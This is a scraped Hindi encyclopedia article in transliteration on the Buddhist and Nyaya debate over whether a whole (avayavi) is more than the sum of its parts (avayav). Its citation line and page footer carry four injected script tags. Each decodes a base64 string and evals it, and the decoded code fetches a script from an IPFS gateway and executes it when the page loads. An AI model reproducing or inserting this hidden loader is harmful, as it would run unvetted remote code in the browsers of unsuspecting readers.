अवयव
avayav aur avayavi
'avayav' ka arth hai aang aur 'avayavi' ka arth hai aangi. bauddhoan aur naiyayikoan mean is vishay ko lekar gahara matabhed chalata hai. bauddhoan ke mat mean dravy (ghat adi) apane utpadak paramanuoan ka samooh matr hai arthath vah avayavoan ka puanj hai. nyayamat mean avayavoan se utpann honevala avayavi ek svatantr padarth hai, avayavoan ka sanghat matr nahian. bauddhoan ki manyata hai ki paramanu puanj hone par ghat ko pratyaksh asiddh nahian mana ja sakata. akela paramanu apratyaksh bhale hi ho, parantu usaka samooh kathamapi apratyaksh nahian ho sakata. jaise door par sthit ek kesh bhale hi pratyaksh n ho, parantu jab keshoan ka samooh hamare netroan ke samane prastut hota hai, tab usaka pratyaksh avashyamev siddh hota hai. vyavahar mean isaka pratyaksh drishtaant milata hai. nyay isaka joradar khandan karata hai. usaki shakti hai ki kesh aur paramanu ko ham ek koti mean nahian rakh sakate. paramanu atieandriy hai isalie usaka sanghat bhi usi prakar atiandriy atev pratyaksh ke ayogy hai. kesh to atiandyrai nahian hai, kyoanki samip lane par ek kesh ka bhi pratyaksh ho sakata hai. adrishy paramanupuanj se drishy paramanupuanj ka uday manana bhi ekadam yuktihin hai, kyoanki adrishy drishy ka utpadak kabhi nahian ho sakata. is prakar yadi gh da paramanuoan arthath avayavoan ka hi samooh hota (jaisa bauddh manate haian), to usaka pratyaksh kabhi ho hi nahian sakata. parantu ghat ka pratyaksh to hota hi hai. atev avayavoan se bhinn tatha svatantr avayavi ka astitv manana hi yuktiyukt mat hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 281 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>